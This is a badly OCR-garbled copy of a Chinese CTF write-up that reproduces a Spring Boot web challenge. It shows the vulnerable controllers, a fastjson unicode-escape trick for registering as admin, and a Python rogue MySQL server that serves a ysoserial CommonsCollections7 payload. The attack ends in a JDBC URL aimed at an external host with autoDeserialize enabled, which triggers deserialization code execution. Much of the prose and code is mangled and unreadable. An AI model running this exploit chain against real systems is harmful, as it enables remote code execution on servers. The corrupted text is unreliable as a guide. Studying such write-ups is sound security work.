2021 KB Web-Work E3

bfengj 2. F 2022-03-02 19:09:40 &4 207 WL

RER: FIMAMRFESIN A Java L EIRSE:  Hi% java spring boot

F 2021-10-26 00:00:13 & KK A

AL B . ASONE EJRBISCE, #4E CC 4.0 BY-SA FRALIMN, HEIFM LT A s = 1 .
ACHERE: https://blog.csdn.net/rfrder/article/details/120963327

30 mE2ITH
T &R

|
| e it

70 B E6ITH

Java

44 RIE T T
B EA

REMURRAFFZZHERE, SMTFRENERE, &6 -LHNFEE. NTARITH, —EZM0AY], AREE, Bo
%, MIREEHR T I\, IR B 2 UIAT AT, 818%3I 7.

KA th R — B R Z AT SR 7, SRS EEER R, REFEAEE, NAEREYY, HWBRJLAA KR EREE KR
HR PRI A IR

R—i#JavalfifRiL & i H, RSpringBoot. SEIRIZEAMBEE IR, FouFHURIE 2 5 FF B RAGH T
Writeup

Y& — TFpom.xml:

xmlns
schemalLocation
4.0.0

jar



https://ego00.blog.csdn.net
https://blog.csdn.net/rfrder/category_10447032.html
https://blog.csdn.net/rfrder/category_10364754.html
https://blog.csdn.net/rfrder/category_10364781.html
https://so.csdn.net/so/search/s.do?q=%25E5%2589%258D%25E7%25AB%25AF&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=java&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=spring+boot&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/rfrder/article/details/120963327
https://blog.csdn.net/rfrder/category_10447032.html
https://blog.csdn.net/rfrder/category_10364754.html
https://blog.csdn.net/rfrder/category_10364781.html

>spring-boot-starter-parent</
>2.5.4</ >
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>
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>
>
>org.springframework.boot</
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>
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>
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package com.example.jdbcSer;

com.alibaba.fastjson.JSON;

org.apache.tomcat.jni.File;
org.springframework.boot.autoconfigure.SpringBootApplication;
org.springframework.web.bind.annotation.GetMapping;
org.springframework.web.bind.annotation.RequestParam;

org.springframework.web.bind.annotation.RestController;

javax.servlet.http.HttpServletRequest;
javax.servlet.http.HttpSession;
java.io.FileReader;
java.sql.ResultSet;
java.util.Arraylist;

java.util.Scanner;

@RestController
public class AdminManager {
@GetMapping( )
public String hello(HttpServletRequest request) throws Exception {
HttpSession httpSession request.getSession();
if(httpSession.getAttribute( ) null httpSession.getAttribute( ) .equals(
return 5
String url request.getParameter( )5
String name request.getParameter( )5
String pwd request.getParameter( )5
ArrayList<UserBean> arraylist new ArrayList<>();
if(! (url.isEmpty() name.isEmpty() pwd.isEmpty())){
JdbcUtils jdbcUtils new JdbcUtils(url,name,pwd);
ResultSet rs jdbcUtils.selectAll();
while (rs.next()){
UserBean tmp new UserBean();
tmp.setUsername(rs.getString(1));
tmp.setPassword(rs.getString(2));
arraylList.add(tmp);

}
String fileName

String someThing 5
try (Scanner sc new Scanner(new FileReader(fileName))) {
while (sc.hasNextLine()) {
someThing sc.nextLine();

b
return JSON.toJSONString(arraylList) someThing;
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public class Register {
@GetMapping( )
public boolean register(@RequestParam(value , defaultValue
)String user) throws Exception {
user user.replace( 5 )
Pattern pattern Pattern.compile(
Matcher matcher pattern.matcher(user);
String username g
while (matcher.find()){
username =matcher.group();
}
if(!username.isEmpty()){

user = user.replace(username,

UserBean o JSON.parseObject(user, UserBean.class);
JdbcUtils jdbcUtils new JdbcUtils(

jdbcUtils.insert(o);

return true;
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JSON: jsonEHEBRINFFILA L, jsondhsi{EHunicodefFZiE, BRI
FHESENEG, tkan: "{"name": "\u0023vulhub\u0023", "age": 12}’

Fastjson: #BFastjsonfidiSisk, ERIXEIRTiREZ, BMERmRERISAIR
R, EREFERE SRR ERIE. thll, fastjsonsziF16HHI5R :
“{"name": "\x23vulhub\x23", "age": 12}, X{EFnERjsonhEFRSHEERITHY;
iR STFF EjsonFIENERE, tbﬁzn‘{"namE": [*evil*/"vulhub”, "age": 12}, Rt
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SERNEIS, I:Kilu‘{”name": 'vulhub', "age": 12} ; FHMastjsonsZiFAIRFPIE

(AN XETRVERYEFE, JLARSRGRIRS
15 M ACAIWAF, CSDN @bfeng]

FrUABEE ST, HinZunicodessid BRI

http://192.168.174.1:8081/register?user=%7B"'%5Cu0075%5Cu@073%5Cu@065%5Cu0072%5Cu06e%5Cud061%5Cu006d%5Cu065 ' %3A

‘admin'%2C"'password'%3A"' feng'%7D
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http://192.168.174.1:8081/1login?data=%7B%22username%22%3A%22admin%22%2C%22password%22%3A%22feng%22%7D
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import socket
import binascii
import os

greeting data

response_ok_data

def receive_data(conn

data conn.recv (1024




return (data).lower()

send_data(conn,data):

print( . (data))
conn.send(binascii.a2b_hex(data))

get payload content():

r

if os.path.isfile(
with ( 5 ) as f:

payload content (binascii.b2a_hex(f.read()),encoding

print(

else:

print(

payload_content

return payload_content

conn, addr = sk.accept()

print( : (addr[@],addr[1]))

send_data(conn,greeting_data)

while True:

receive_data(conn)
send_data(conn,response_ok_data)




data

if

elif

receive_data(conn)

in data:

_payload

send_data(conn,_payload)
data=receive_data(conn)

in data:
_payload

send_data(conn, _payload)

data receive_data(conn)
in data:
send_data(conn, response_ok_data)
data receive_data(conn)
in data:
send_data(conn, response_ok_data)
data receive_data(conn)
in data:

mysql_data

mysql_data

mysqgl_data

payload_content=get payload_content()

payload_length ( ( (payload_content)//2)).replace(
payload_length_hex payload_length[2:4] payload length[0:2]

data_len ( ( (payload_content)//2 + 4)).replace( ,
data_len_hex = data_len[4:6] data_len[2:4] data_len[0:2]
mysqgl_data data_len_hex payload_length_hex
mysqgl_data (payload_content)
mysqgl data
send_data(conn, mysql data)
data receive_data(conn)

in data:

).zfill(4)

).zfill(e)




send_data(conn, payload)

break

if _ _name__
HOST
PORT = 3306

sk socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sk.setsockopt(socket.SOL SOCKET, socket.SO REUSEADDR, 1)
sk.bind( (HOST, PORT))

sk.listen(1)

print( . (HOST, PORT) )

run()

SR J5 F FH 73 Rk i ysoserial4: payload:

java -jar ysoserial.jar CommonsCollections?7 calc payload

B payload 314 FpythonSCA4 I E R — B 3%, AREE3:

FRERE /admin X FATHIE R mysqlik 55 it AT 8

http://192.168.174.1:8081/admin?url=jdbc%3Amysql%3A%2F%2F118.31.168.198%3A33306%2Ftest%3FautoDeserialize%3Dtrue

26queryInterceptors%3Dcom.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&name=root&pwd=root
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jdbc:mysql://118.31.168.198:33306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.Sen

verStatusDiffInterceptor
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URL
http://192.168.174.1:8081/admin?
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ptor&name=root&pwd=root

@  Enable POST

ADD HEADER

CSDN @bfengj

237, JFEkJavahJDBCIEA XFHFIF.

https://fmyyy.gitee.io/2021/10/13/%E9%95%BF %E5%9F %8E %E6%9D %AF %E7%BA%BF %E4%B8%8B %E8%B5%9B %E8%
B5%9B%E5%90%8E %ES5%A4%8D %E7%8E %B0/

http://yiyangqgianxi.jxustctf.top/year/07/22/apacheshiro%E5%A4%8D % E7%8E%B0/

https://mww.mi1k7ea.com/2021/04/23/MySQL-
JDBC%ES5%8F %8D %E5%BA%8F %E5%88%97 %E5%8C %96 %E 6%BC %8F %E6%B4%9E /#8-x



	2021长城杯线下 Web-Work 复现
	前言
	Writeup
	JDBC反序列化攻击
	参考连接

